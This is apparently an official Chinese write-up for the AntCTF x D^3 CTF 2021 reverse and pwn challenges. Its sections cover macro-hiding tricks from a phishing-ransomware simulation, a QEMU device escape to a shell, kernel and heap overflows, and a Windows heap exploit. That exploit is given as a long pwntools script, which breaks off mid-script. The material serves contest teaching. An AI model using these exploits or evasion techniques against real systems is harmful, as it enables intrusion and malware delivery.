AntCTF x D^3 CTF 官方 Writeup

 

Reverse

white give

题目使用llvm pass 做了混淆

  1. 全局变量加密使用 AES 在全局变量被访问前,解密数据到栈上。变量被范围后加密数据,写回全局变量,通过调试可以获取解密后的数据
  2. 常数加密对 Store、ICmp 指令的常数z,令 z=x+y 或 z=x^y ,将 x 存放于全局变量中,y当成指令的 op ,这一步可以通过将全局变量设置成 const 让 ida 计算出数值
  3. 表达式替换
    1. add instruction
      • x + y → (x ∨ y) + y − (¬x ∧ y)
      • x + y → (x ∨ y) + (¬x ∨ y) − (¬x)
      • x + y → (¬x ∧ y) + (x ∧ ¬y) + 2 × (x ∧ y)
      • x + y → 2 × (x ∨ y) − (¬x ∧ y) − (x ∧ ¬y)
      • x + y → (x ⊕ y) + 2y − 2 × (¬x ∧ y)
      • x + y → (x ⊕ y) + 2 × (¬x ∨ y) − 2 × (¬x)
    2. xor instruction
      • x ⊕ y → (x ∨ y) − y + (¬x ∧ y)
      • x ⊕ y →(x ∨ y) −(¬x ∨ y) + (¬x)
      • x ⊕ y → (−1) − (¬x ∨ y) + (¬x ∧ y)
      • x ⊕ y → 2 × (x ∨ y) − y − x
      • x ⊕ y → −y + 2 × (¬x ∧ y) + x
      • x ⊕ y → −(¬x ∨ y) + 2 × (¬x ∧ y) + (x ∨ ¬y)
    3. or instruction
      • x ∨ y → (x ⊕ y) + y − (¬x ∧ y)
      • x ∨ y → (x ⊕ y) + (¬x ∨ y) − (¬x)
      • x ∨ y → (¬(x ∧ y)) + y − (¬x)
      • x ∨ y → y + x − (x ∧ y)
      • x ∨ y → y + (x ∨ ¬y) − (¬(x ⊕ y))
      • x ∨ y → (¬x ∧ y) + (x ∧ ¬y) + (x ∧ y)

      这些表达式来自

      https://tel.archives-ouvertes.fr/tel-01623849/document

      可以使用sspam化简混淆

题目源码

   unsigned __int8 key[256];
   unsigned __int8 mySBOX[256];
   int main()
   {
       cout << "welcome to d3ctf" << endl;
       cout << "please input your flag" << endl;
       string strFlag;
       cin >> strFlag;


       if (strFlag.size() == 64)
       {
       cout << "checking" << endl;
           unsigned __int8 sha[64 / 4 * 32];
           memcpy(flag, strFlag.c_str(), 64);
           for (size_t i = 0; i < 16; ++i)
           {
               SHA256_CTX ctx;
               sha256_init(&ctx);
               sha256_update(&ctx, (char*)flag+i*4, 4);
               sha256_final(&ctx, (char*)(sha+32*i));
           }

           srand(0);
           for (int i = 0; i < 256; ++i)
           {
               key[i] = rand();
           }
           for (size_t y = 0; y < 16; ++y)
           {
               for (size_t x = 0; x < 16; ++x)
               {
                   *(mySBOX+16*y+x) = 16 * (15 - y) + x;
               }
           }
           unsigned __int8 roundKey[16][16];
           for (int index = 0; index < 2; ++index)
           {
               for (size_t i = 0; i < 16; ++i)
               {
                   for (size_t t = 0; t < 256; ++t)
                       sha[t + index * 256] = ((unsigned __int8*)mySBOX)[sha[t + index * 256]];
                   for (size_t a = 1; a < 17; a++)
                   {
                       for (size_t b = 0; b < 16; ++b)
                       {
                           roundKey[a-1][b] = a * key[i * 16 + b];
                       }
                   }
           for (size_t t = 0; t < 256; ++t)
           {
             sha[t + index * 256] ^= ((unsigned __int8*)roundKey)[t];
             sha[t + index * 256] += t;
           }
               }
           }
           auto r = memcmp(sha, ffllaagg, 512);

           if (r==0)
           {
               cout << "you get the flag" << endl;
           }
           return r;
   }

题目没有对控制流做混淆,因此题目的难度较低,可以通过简单的逆向理解题目的加密过程。

baby_spear

本题的思路是模拟红队常用的office文档钓鱼攻击。受害者被社工后, 宏释放执行恶意程序, 加密敏感文件实现勒索。

0x00 vba macro in office

本题的宏代码无法直接在office的vba编辑器里观察并调试。在隐藏方面, 做了如下处理:

  • EvilClippy, -g参数在gui隐藏模块信息
  • 执行后vba代码自删除
  • vba purging

使用了vba purging技术, 可将编译后的数据从vba流中删除:

_VBA_PROJECT7字节可以视作该技术的标志。vba_purging可以阻止一些依赖P-code进行vba提取的工具, 比如olevba.exe

另外, 本题在混淆上使用了macro_pack以及类emotet的大量junkcode, 增加了静态分析的难度。


解题思路: 如果你已经发现了p-code已经被清除, 在提取源码上就应该考虑decompress, 比如oledump.py, OfficemMalScanner等工具, 也可以使用公开的解压库, 例:kavod

比如oledump.py, 使用 -v参数可以看到所有模块, 前缀有M标志的为带宏的模块:

15, 16, 18, 19, 21为目标。-s <index>可以提取出对应模块的源码。

由于宏在打开后便执行, 说明调用了vba的内部函数AutoOpen, 可以在模块19找到:

可以看到大段的junk, 由于On Error Resume Next, 无意义的调用就算出错也会继续运行。在执行几行junk后, 可以看到与之差异很大的代码:

观察其reference: buakhctj = bSa7akz.cestitgm(elasbhnp, idhkqsrq), 调用了模块15的函数。模块15没有经过junk处理, 适合拷贝到一个新的office文档宏, 用于黑盒暴露出来的接口(比如cestitgm), 同理下面的长字符串。

由于输入输出完全可控, 可以黑盒出来模块15的作用是big number。

同时由于源码暴露了大量的api, 可以对word.exe设置IFEO, 对这些api下断, 可以发现宏尝试获取lsc.key

两者结合, 还原出check逻辑:

q = lsc_key
p, M, n = hardcode

if (p*q) % M == n:
    "check passed"

逆:

inv = inverse(p, m)
q = (n * inv) % M

得出lsc.key = ID0ntWantT0SetTheWor1dOnFIRE

但是就算lsc.key通过, pe依旧没有drop出来, 题干里也说明是不完整的doc文档, 可以理解为取证时文件破损。

依旧是利用api断点, 对CryptDectypt下断, 得到drop的Pe:

0x01 PE

pe部分比较简单了, 里面是个AES-ecb。而hint暗示不用爆破了, 加密文件生成时间和time()可以对应的上。时间在压缩包里可以直接看到:

当然, 爆破也是可行的, 否则就太脑洞了。

0x02 dec.py

from Crypto.Cipher import AES
from ctypes import *
import time

def gen_key():
    timestr = "2021-03-04 20:53:16" # UTC+8
    timestruct = time.strptime(timestr, "%Y-%m-%d %H:%M:%S")
    timestamp = int(time.mktime(timestruct))
    lib = cdll.LoadLibrary("C:\\Windows\\System32\\ucrtbase.dll")
    lib.srand(timestamp)
    table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    key = ""
    for i in range(32):
        key += table[lib.rand() % 62]
    return key

f1 = open("flag.png.encrypted", "rb")
f2 = open("flag.png", "wb")

key = gen_key().encode()

c = AES.new(key, mode=AES.MODE_ECB)

buf = f1.read()
ori = buf[len(buf) - len(buf) % 16:]
buf = buf[:len(buf) - len(buf) % 16]

buf = c.decrypt(buf)

f2.write(buf)
f2.write(ori)

f1.close()
f2.close()

ancient

这道题的主要思路来自算术编码,论文出处:
Said, Amir. “Introduction to arithmetic coding-theory and practice.” Hewlett Packard Laboratories Report (2004)
https://www.hpl.hp.com/techreports/2004/HPL-2004-76.pdf

具体实现参考
https://github.com/nibrunie/ArithmeticCoding

可以通过下面的链接了解算术编码
https://zhuanlan.zhihu.com/p/23834589

程序首先验证56位的flag长度,然后将前五个字符通过fnv1a哈希与d3ctf的哈希对比,作为最基础的判断。

而后将输入的字符串append到一个固定字符串This is an ancient string, it represents the origin of all binary characters, isn't it. Let me see, it says 0,1,2,3,4,5,6,7...后面,然后调用encode_value_with_update函数。因为此处的算术编码采用动态编码表,即编码表分布与传入字符串有关。但是这里的分布编码表实际是通过这个固定字符串的得到的,所以对我们输入flag进行编码的时候,每次使用的都是同一个编码表,可以视为静态编码表。即通过这个126个字符长的固定字符串确定分布表,而后对输入的字符串进行分配。

因此一种可行的思路是通过爆破每一个输入字符的方式来得到flag。

题目中所有用到字符串的地方都进行了编译期的字符串保护。通过模板类,将字符串异或同一个key来存储。包括最后要对比的数据,也进行了这样的编译期保护。这个可以通过静态分析得到key然后手动xor还原,也可以动态调试dump出来。

程序最后逐位对比数据,若178个字符正确(即固定的126个字符+56个输入字符编码后的字符182个去除末尾4个无用的编码0),则正确。

其中,在对比的时候,通过loop_for_junk(loc_401820)来略微增加难度。loop_for_junk函数其实没有实际效果,其间加了花指令并循环多次,用以抵抗符号执行的爆破。loop_for_junk传入的index指针在执行后,其index值实际上并没有被修改,可以直接patch掉。

如果能够发现是算术编码的实现,则可以通过dump出对比表,然后再次传入解码
动态dump可知最后的对比数据为

char target[]="\x54\x67\x69\x73\x20\x69\x73\x20\x61\x6e\x20\x61\x6e\x63\x69\x65\x6e\x74\x20\x73\x74\x72\x69\x6e\x67\x2c\x20\x69\x74\x20\x72\x65\x70\x72\x65\x73\x65\x6e\x74\x73\x20\x74\x68\x65\x20\x6f\x72\x69\x67\x69\x6e\x20\x6f\x66\x20\x61\x6c\x6c\x20\x62\x69\x6e\x61\x72\x79\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73\x2c\x20\x69\x73\x6e\x27\x74\x20\x69\x74\x2e\x20\x4c\x65\x74\x20\x6d\x65\x20\x73\x65\x65\x2c\x20\x69\x74\x20\x73\x61\x79\x73\x20\x30\x2c\x31\x2c\x32\x2c\x33\x2c\x34\x2c\x35\x2c\x36\x2c\x37\x2e\x2e\x2e\x67\xf3\xa3\xca\x23\x58\xa3\xd1\xf8\xc1\x96\xe3\xd7\x85\x85\xfe\xbe\x7b\xd2\x82\x59\xf4\xd8\xf0\x5f\xf5\xe2\x55\xe5\x2c\x14\xdc\xd6\xf4\x60\xf9\x89\x84\x0c\x70\x50\xb8\xf5\xde\x7f\xff\x5a\xc8\x8d\x61\xf0\x02\x00\x00\x00\x00\x00\x00";
void writeup(){
   unsigned char *decomp = static_cast<unsigned char *>(malloc(sizeof(unsigned char) * local_size * 2));
   cout<<endl;
   ac_state_t encoder_state;
   init_state(&encoder_state, 16);
   const int update_range = strlen(MAGIC_STRING), range_clear = 0;
   reset_uniform_probability(&encoder_state);
   decode_value_with_update(decomp, target, &encoder_state, local_size, update_range, range_clear);
   cout << decomp << endl;
}

另一方面,预期解也可以是爆破,每次传入新的一位,而后在0x401C83下断点,然后比较index(rbp+var_14)的变化,如果index比上一次增加了,那么这次的字符就是正确的。以此类推。

No Name

题目使用 Java 的反射特性,运行时把用来混淆做题者的验证接口替换为真实验证代码。验证相关代码被通过 AES 加密存放在 assets 里,运行时从 native 中获取密钥解密。native 中存在反调试,但看了 writeup 才反应过来,直接写一个 app 调用一下获取 KEY 的函数就可以解密了,native 里面的反调试,防 patch 根本没什么作用。解密出来代码非常简单,就是抑或一下。

jumpjump

本题考查点是C语言标准库中setjmplongjmp的逆向识别, 作为逆向签到题目, 难度很低.

题目程序是x86_64架构的elf文件, 静态链接, 无符号表, 未加壳.

前置知识

setjmp库是一个类似于跨函数goto语句的实现, 利用jmp_buf来保存一个函数的状态, 在用户setjmp后可以通过longjmp函数快速跳转到setjmp函数所在的位置, 同时支持传递一个整数值. 在第一次setjmp时, 返回值恒为0. 在通过longjmp进行跳转时, setjmp的返回值为longjmp的第二个参数.

题解

将程序拖入到IDA中, 通过字符串窗口可以快速定位到主程序的位置sub_40197C, 同时可以通过程序中的静态字符串得知编译时静态链接的libc版本与发行版包版本, 为glibc 2.33. 通过镜像站或其他途径获得libc之后, 利用rizzo插件还原一部分符号信息. (当然如果熟悉C++异常处理或者setjmp库的底层实现的话也可以手动识别).
简单识别一下main函数里的各个函数:

可以发现程序对输入的flag进行了两次check, 一次是sub_40189D, 另一次利用setjmp设置跳转标志, 然后调用sub_40191E进行验证. 进入sub_40189D, 这里也通过setjmp设置了自动跳转:

_BOOL8 __fastcall check1(char *input, __int64 a2, int a3, int a4, int a5, int a6)
{
  char v7; // [rsp+0h] [rbp-20h]
  int jmp_flag; // [rsp+1Ch] [rbp-4h]

  jmp_flag = j_setjmp((int)&jmp_buf_check1, a2, a3, a4, a5, a6, v7);
  if ( !jmp_flag )
    sub_401825((__int64)input);
  return jmp_flag == 36;
}

查看sub_401825函数:

void __fastcall __noreturn sub_401825(const char* input)
{
  int input_len; // [rsp+1Ch] [rbp-4h]
  int i; // [rsp+1Ch] [rbp-4h]

  input_len = j_strlen_ifunc(input);
  if ( input_len != 36 )
    j_longjmp(&jmp_buf_check1, input_len);
  for ( i = 0; i <= 35; ++i )
    *(_BYTE *)(i + a1) ^= 0x57u;
  j_longjmp(&jmp_buf_check1, 36);
}

这两个函数结合起来就是测试输入长度是否为36. 如果为36则返回true, 否则返回false. 在检测长度的同时对输入数组进行异或操作.

接着看第二个check, 在main函数的过程中是这样的:

  jmp_flag_main = j_setjmp((int)&jmp_buf_main, (__int64)input, v7, v8, v9, v10, v11);
  if ( !jmp_flag_main )
    check2(input, 36LL);
  if ( jmp_flag_main == 1 )
  {
    printf("Sorry.\n");
    exit(0LL);
  }
  printf("Good!\n");
  exit(0LL);

很显然在check2函数以及check2函数所调用的函数中通过跳转jmp_buf_main标志来将检测结果传递回来. 传递值为1时说明结果错误, 传递值为除了0(默认值为0)和1之外的其他值时说明结果正确.

check2函数很简单:

void __fastcall __noreturn check2(__int64 a1, int a2)
{
  unsigned __int64 i; // [rsp+18h] [rbp-8h]

  for ( i = 0LL; i < a2; ++i )
    sub_4018E0((unsigned int)i, (*(char *)(a1 + i) + 4) ^ 0x33u);
  j_longjmp(&jmp_buf_main, 2);
}

__int64 __fastcall sub_4018E0(int a1, int a2)
{
  __int64 result; // rax

  result = dword_4CC100[a1];
  if ( a2 != (_DWORD)result )
    j_longjmp(&jmp_buf_main, 1);
  return result;
}

通过sub_4018E0对每一位进行检测, 如果不对就立即跳回main函数并输出.

主要的逻辑还是异或运算.

解密脚本十分简单, 提取出dword_4CC100数组:

magic = [0x00000009, 0x0000000B, 0x00000006, 0x0000005A, 0x0000005B, 0x0000000A, 0x00000054, 0x00000005, 0x0000004D, 0x00000057, 0x00000056, 0x00000054, 0x0000000B, 0x0000004D, 0x00000054, 0x00000009, 0x00000055, 0x00000040, 0x0000004D, 0x00000009, 0x00000006, 0x00000059, 0x0000000B, 0x0000004D, 0x00000055, 0x00000054, 0x00000058, 0x00000057, 0x0000005B, 0x00000009, 0x0000000B, 0x00000040, 0x00000005, 0x0000000A, 0x00000005, 0x00000009]
for i in magic:
    print(chr(((i ^ 0x33) - 4) ^ 0x57), end='')
print('')

# acf23b4e-764c-4a58-af1c-54073ac8ebea

题目源码

// flag:  acf23b4e-764c-4a58-af1c-54073ac8ebea

#include <setjmp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static jmp_buf len_jmp;
static jmp_buf incoming;

static int magic[] = {9,  11, 6,  90, 91, 10, 84, 5,  77, 87, 86, 84,
                      11, 77, 84, 9,  85, 64, 77, 9,  6,  89, 11, 77,
                      85, 84, 88, 87, 91, 9,  11, 64, 5,  10, 5,  9};

// libc version, for rizzo.
static const char* libcs = "GNU C Library (GNU libc) release release version 2.33.\nCopyright (C) 2021 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 10.2.0.\nlibc ABIs: UNIQUE IFUNC ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.archlinux.org/>.";

static const char* glibcs = "core/glibc 2.33-4";

void check_len_real(char* v1) {
    int i = strlen(v1);
    if (i != 36) {
        longjmp(len_jmp, i);
    } else {
        for (i = 0; i < 36; i++) {
            v1[i] ^= 0x57;
        }
        longjmp(len_jmp, 36);
    }
}

int check_len(char* v1) {
    int n = setjmp(len_jmp);
    if (!n) {
        check_len_real(v1);
    } else if (n != 36) {
        return 0;
    } else {
        return 1;
    }
}

void real_valid(int i, int n) {
    if (magic[i] != n) {
        longjmp(incoming, 1);
    } else
        return;
}

void valid(char* buf, int n) {
    for (size_t i = 0; i < n; i++) {
        real_valid(i, (buf[i]+4)^0x33);
    }
    longjmp(incoming, 2);
}

int main() {
    char buf[200];

    printf("<<- Welcome to AntCTF & D3CTF! ->>\n\nInput your key: ");
    scanf("%200s", buf);

    if (!check_len(buf)) {
        printf("Sorry.\n\n");
        exit(0);
    }
    int n = setjmp(incoming);
    if (!n) {
        valid(buf, 36);
    } else if (n == 1) {
        printf("Sorry.\n\n");
        exit(0);
    } else {
        printf("Good!\n\n");
        exit(0);
    }

    return 0;
}

其他解法

由于本题算法十分简单, 所以可以通过动态调试的方法发现函数之间的跳转逻辑而不必要去静态分析程序中的诸多函数, 使用pintools工具对程序进行插桩也可以实现全自动化解题. 由于考虑不周导致了大部分解题队伍都没能命中考点, 下次一定改善 (逃)

Zigzag Encryptor

  1. 分析程序中的 Zigzag 编码方式,可以发现其将待编码数据中的每 3 个 bytes 打乱后存储在了每个锯齿图形的 RGB 颜色中,并且将打乱的方式(3 个数一共只有 6 种排列,所以只有 6 种打乱方式)也存储在了固定的位置。据此可以还原出 Zigzag 编码前的数据(也就是 LFSR 加密过后的密文)。
  2. 分析 LFSR 密钥流生成器以及加密逻辑,可以发现 LFSR 的位数为 128,已知明文前缀(D^3CTF2021_SECURE_MESSAGE_PREFIX:, 末尾有空格,共 34 bytes)位数 > 2*128,可以进行已知明文攻击。因此可以直接构建方程组,求解出 LFSR 使用的多项式。
  3. 使用已知的密钥(LFSR 使用的多项式、初始化向量)重新生成密钥序列,异或 LFSR 加密过后的密文即可得到全部明文,其中包含 flag。

详见解题脚本:https://github.com/yype/ZigzagEncryptorPub

 

Pwnable

hackphp

给了一个 hackphp.so 文件,用 ida 分析得到:

  • 定义了一个叫 vline 的类。
  • create 一个大于 0x200 或者小于 0x100 的 buffer 会导致 uaf。

考虑到实际上我们可以申请任意大小的 chunk,并且很容易造成 uaf,可以将一个对象通过 uaf 分配在我们完全可控的空间内,然后用 hackphp_edit 函数修改对象的相关信息从而实现任意读写。

总体思路和 这个exp 很像,有些模板函数可以直接拿来用,但是有个比较坑的地方是本题中只能控制 size 大小的区域,而无法越界读写到下一个堆块。这为我们构造 zend_closure带来了麻烦。

解决思路是再次申请一个 string 类型对象(长度要够 0x130 才能装下 zend_closure 内容),里面填满特征值,然后通过构造出的 leak 原语找到该对象的地址,然后就可以伪造一个 closure 了,最后通过 uaf 修改 closure 到伪造的地址处即可。

为了防止一些内存管理操作,降低难度,出题时在 extension 里内置了一个 vline 类方便做题,不过区别不大,在 exp 里新定义一个类好像也可以用同样的方式做出来。

各种姿势

其实存在 UAF 之后并非偏要用这种伪造对象的方法做(不如说这种方法在本题中比较复杂,但是这种方法更偏向实际运用),比赛中很多师傅也是用了各种其他方法整出来了:

  • LD_PRELOAD 构造恶意 .so,原因是黑名单没有把 putenv 这种危险函数禁掉。比较偏 web 的做法。
  • 在 php 堆空间上做堆风水。

exp

https://github.com/UESuperGate/D3CTF-2021-Exploits

liproll

题目灵感来源于 hxpctf 2020 kernel-rop

采用了细粒度的 kaslr ,使得 ROP 链构造时出现了困难。

FG-KASLR 开启后会导致 vmlinux 和相应的内核模块以函数为单位分段,然后在原先地址随机化的基础上打乱函数加载顺序,无法通过静态分析确定函数在 base_addr 基础上的偏移。

漏洞点出在 cast_a_spell 函数中:

void __fastcall cast_a_spell(__int64 *a1)
{
  unsigned int v1; // eax
  int v2; // edx
  __int64 v3; // rsi
  _BYTE buf[256]; // [rsp+0h] [rbp-120h] BYREF
  void *ptr; // [rsp+100h] [rbp-20h]
  int size; // [rsp+108h] [rbp-18h]
  unsigned __int64 v7; // [rsp+110h] [rbp-10h]

  v7 = __readgsqword(0x28u);
  if ( global_buffer )
  {
    ptr = global_buffer;
    v1 = *((_DWORD *)a1 + 2);
    v2 = 256;
    v3 = *a1;
    if ( v1 <= 0x100 )
      v2 = *((_DWORD *)a1 + 2);
    size = v2;
    if ( !copy_from_user(buf, v3, v1) )
    {
      memcpy(global_buffer, buf, *((unsigned int *)a1 + 2));
      global_buffer = ptr;
      *((_DWORD *)&global_buffer + 2) = size;
    }
  }
  else
  {
    cast_a_spell_cold();
  }
}

v1 是传进来的参数,如果 v1 > 0x100 则会造成栈溢出,这次溢出会覆盖掉 ptr 和 size 变量,而 read 和 write 函数都是依靠存在 global_buffer 中的 ptr 和 size 进行的。相当于我们可以获得任意读写的机会了。

预期解是通过本题中存在的内存泄露漏洞来读代码段从而获得我们需要的 gagets,然后利用栈溢出构造 ROP 即可。同时也可以暴力搜索堆空间直接改掉 cred 结构体。另外 hxp ctf 中给出的做法可以在 ctftime 中找到,这里就不赘述了。

exp

https://github.com/UESuperGate/D3CTF-2021-Exploits

d3dev && d3dev-revenge

Before

一个signin pwn,考点是比较基础的利用virtual device进行qemu逃逸,有做过类似题型的应该可以很快解决;

然而由于部署的时候出现了非预期(非常抱歉-_-|||),不得不降分然后开了个新题.

Analysis

漏洞位置很明显,在d3dev_mmio_write中可以看到通过mmio向opaque->blocks中写入数据时使用的是:

void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
...
    pos = opaque->seek + (unsigned int)(addr >> 3);
    if ( opaque->mmio_write_part )
    {
        ...
    }
    else
    {
        ...
        opaque->blocks[pos] = (unsigned int)val;
    }
...

addrval是用户可控的,虽然addr不能直接超过mmio的内存范围来达到溢出,但是如果能控制seek的大小就可以做到.

查看d3dev_pmio_write发现seek是可以通过令addr==8直接控制的:

  if ( addr == 8 )
  {
    if ( val <= 0x100 )
      opaque->seek = val;
  }

溢出思路可行之后,观察d3devState结构体:

00000000 ; Ins/Del : create/delete structure
00000000 ; D/A/*   : create structure member (data/ascii/array)
00000000 ; N       : rename structure or structure member
00000000 ; U       : delete structure member
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 d3devState      struc ; (sizeof=0x1300, align=0x10, copyof_4545)
00000000 pdev            PCIDevice_0 ?
000008E0 mmio            MemoryRegion_0 ?
000009D0 pmio            MemoryRegion_0 ?
00000AC0 memory_mode     dd ?
00000AC4 seek            dd ?
00000AC8 init_flag       dd ?
00000ACC mmio_read_part  dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed          dd ?
00000AD8 blocks          dq 257 dup(?)
000012E0 key             dd 4 dup(?)
000012F0 rand_r          dq ?                    ; offset
000012F8                 db ? ; undefined
000012F9                 db ? ; undefined
000012FA                 db ? ; undefined
000012FB                 db ? ; undefined
000012FC                 db ? ; undefined
000012FD                 db ? ; undefined
000012FE                 db ? ; undefined
000012FF                 db ? ; undefined
00001300 d3devState      ends
00001300

可以看到blocks往后有一个函数指针,该指针保存rand_r函数地址,并在d3dev_pmio_write中被调用:

    if ( addr == 28 )
    {
      opaque->r_seed = val;
      v4 = opaque->key;
      do
        *v4++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(
                  &opaque->r_seed,
                  28LL,
                  val,
                  *(_QWORD *)&size);
      while ( v4 != (uint32_t *)&opaque->rand_r );
    }

在这个分支中rand_r使用opaque->r_seed作为参数生成128位的opaque->key

所以只要同时控制好opaque->r_seedopaque->rand_r就可以构造出system("/bin/sh\x00")

By the way, 对于这题,在写入数据和读取数据的时候其实不用分成两次四字节来读写,有兴趣的话可以再仔细看看

利用上的各种细节请查看exp.

Exploit

https://github.com/yikesoftware/d3ctf-2021-pwn-d3dev

Truth

题目给了源码和编译环境,审计源码可以发现这里

有对从data至backup的数据进行长度check

返回的地方似乎有一个对空指针的引用。但是看源码其他地方似乎没有什么更多的问题了。

其实这道题的灵感来自于Blackhat Europe 2020的这一篇文章

clang的某些pass在发现一些ub的时候会对其做优化,如这里就检测到了空指针引用,为了避免的这个ub的产生而fold了上面的check,从而导致后续的堆溢出。

堆溢出后的利用就相当简单了。heap地址和libc地址都很好leak,溢出覆盖下一个node的虚函数指针就可。

可以构造xml布置出符合one_gadget的条件,在我的exp中则是找了一个gadget chain进行堆上的rop。

在我的设想里面应该是大家都会被这个源码所迷惑,上手调试之后才会发现这里有溢出..这也是这个题目名叫Truth的原因。相信发现的队伍会觉得还是蛮有意思的XD

但是也有一些队伍并没有发现这个问题,有些是直接上手盲测就默认这有溢出了,有些没看太清楚代码逻辑导致觉得这边有溢出..关键还真有溢出orrzz 导致考点没能很好的传达到..

这道题折叠相关的pass为Simplify the CFG。具体哪个文件我还没去看=-=感兴趣的师傅可以通过pdf写的那样去做一个回溯(纯体力活)

RedBud师傅还测试了-O2也可以,感谢!这里之前完全没测试..太依赖于那篇pdf了..感觉-O2迷惑性更大?

如果对ub带来的问题有兴趣的师傅还可以看这篇文章。这位教授也根据这篇文章做过一个演讲,感兴趣的可以在404搜索XD

Exploit

https://github.com/ZhouZiY/hctf2021_pwn

Deterministic Heap

本题是一次在windows平台利用一个堆溢出漏洞最后编写稳定exp时被低碎片堆(LFH)难住的问题,这题的设计也是在简化的同时尽量还原了当时的情况。稳定的低碎片堆利用在过去的win10版本中曾有人研究过Deterministic_LFH,这个方法非常有趣但很遗憾在现在的nt heap上已经失效了。

如果不追求高成功率的漏洞利用,本题只是一道简单的uaf利用,哪怕不进行任何的堆布局也会有一定的概率成功进行堆块的占位,但考虑到一次攻击可能需要较多的交互次数(这是设计上的失败),所以我仅将需要的连续攻击次数设置成了3次,而且由于时间有点赶没来得及把挑战次数限制设置上,所以其实是可以以较低概率的利用脚本重复尝试直到运气好成功。

其实预期解的原理也并不复杂,而且有一定的限定条件,它并不适用于其他尺寸的LFH bucket,所以我也期待过是否有其他更好的解决方案出现,但很遗憾大佬都不屑于做我的题QAQ

那我只能把自己的思路说一下了,可能靠一小段话很难讲清楚,如果想要知道具体过程的话建议进行一定的调试

在清楚LFH结构的基础上(可以看这个了解),最大尺寸的LFH bucket内的chunk数量最大为0x10个(0x10*0x4000=0x40000),而segment的CachedItems数量也是0x10个,通过连续申请0x10个sub_segment数量(0x10*0x10=0x100)的chunk后间隔1个sub_segment(0x10)释放chunk,可以保证每个释放的chunk来自不同的sub_segment,并且这些sub_segment有且仅有这一个free chunk,同时这些sub_segment全都会放入CachedItems中,那么接着我申请0xf个chunk之后就一定能保证下一个chunk来自于上面的sub_segment中,于是下图的情况就可以成立(图其实是OOB漏洞的情况,UAF的情况红色和黑色是同一块区域,应该不难理解)

这是在不能重复触发漏洞但堆块大小没有被限制时,一种比较稳定的占位方法,测试下来基本可以做到100%成功

exp:

#coding=utf8
from pwn import *
# context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

cn = remote('47.101.194.217', 46016)

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda   : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)

def select(index,newone=False,sz=0,tp=1,repeat='n',name='aaa'):
    sla(': ',str(index))
    if newone:
        sla('?','y')
        add(sz,tp,repeat,name)
        sla(': ',str(index))
    if index != -1:
        sla('it:','4')

def add(sz,tp=1,repeat='n',name='aaa'):
    sla('array: ',str(tp))
    sla('size: ',str(sz))
    sla('Description: ',name)
    sla('(y/else)',repeat)

def edit_ptr(index,sz):
    sla('): ',str(index))
    sla('it: ','2')
    sla('(y/else)','y')
    sla('16):',str(sz))
    sla('it: ','5')

def edit_str(index,sz,con):
    sla('): ',str(index))
    sla('it: ','2')
    sla('size: ',str(sz))
    sla('Contents: ',con)
    sla('it: ','5')

def edit_int(index,exp):
    sla('): ',str(index))
    sla('it: ','2')
    sla('expression: ',exp)
    sla('it: ','5')

def show(index):
    sla('): ',str(index))
    sla('it: ','3')
    data = rl()[:-2]
    sla('it: ','5')
    return data

def dele(index):
    sla(': ',str(index))
    sla('it:','1')


for times in range(3):
    select(2,True,0x10,4,name='str')
    select(-1)#root
    select(1,True,0x300,name='obj')
    select(0,True,0x1000,2,'y',name='int')
    select(-1)#obj
    for i in range(0x10,0x120,0x10):
        select(i)
        edit_int(2,'+1633771873')#aaaa
        edit_int(3,'+1650614882')#bbbb
        select(-1)


    for i in range(0x10,0x120,0x10):
        edit_ptr(i,0x10)

    select(-1)#root
    select(2)#str
    for i in range(0xf):
        edit_str(i,16380,'aaaaaaaa')
    select(-1)#root
    select(0,True,0x1000,4,name='overlap')
    edit_str(2,0x64,'deadbeef')
    select(-1)#root
    select(1)#obj
    for i in range(0x10,0x120,0x10):
        select(i)
        magic = show(2)
        if magic != b'1633771873':
            print('overlap obj found in index [%d],magic is [%s]'%(i,magic))
            overlap_index = i
            break
        select(-1)

    select(-1)
    select(-1)
    select(0)
    dele(2)
    vtable = 0
    #overlap int
    for i in range(0x10):
        print('[*] search vtable in turn [%d/16]'%i)
        edit_str(i,0x64,'deadbeef')
        select(-1)
        select(1)
        select(overlap_index)
        for j in range(10):
            edit_int(i,'+108')
            select(-1)
            select(-1)
            select(0)
            vtable = u32(show(i).ljust(4,b'\x00')[:4])
            if (vtable&0xffff) == 0x55dc:
                success('vtable:'+hex(vtable))
                break
            else:
                vtable = 0
            select(-1)
            select(1)
            select(overlap_index)
        if vtable != 0:
            break
        select(-1)
        select(-1)
        select(0)

    #base:root_node
    def myread(addr):
        select(1)
        select(overlap_index)
        edit_int(0,'*0')
        edit_int(0,'+'+str(addr-4))
        select(-1)
        select(-1)
        select(0)
        data = u32(show(0).ljust(4,b'\x00')[:4])
        select(-1)
        return data

    def mywrite(addr,data):
        select(1)
        select(overlap_index)
        edit_int(0,'*0')
        edit_int(0,'+'+str(addr-4))
        select(-1)
        select(-1)
        select(0)
        edit_str(0,len(data)+1,data)
        select(-1)

    # version = '2004'
    version = '1909'

    select(-1)
    cbase = vtable - 0x55dc
    success('cbase:'+hex(cbase))
    if version == '20H2':
        kernel32 = myread(cbase+0x5024) - 0x19910
        ucrtbase = myread(cbase+0x50f4) - 0x31980
        success('kernel32:'+hex(kernel32))
        success('ucrtbase:'+hex(ucrtbase))
        ntdll = myread(kernel32+0x81BF0) - 0x4CC30
        success('ntdll:'+hex(ntdll))
        peb = myread(ntdll+0x125D34) - 0x44
        if peb == 0:
            peb = myread(ntdll+0x125D34+2)<<16
        success('peb:'+hex(peb))
        test = myread(peb+4)
        teb = peb + 0x3000
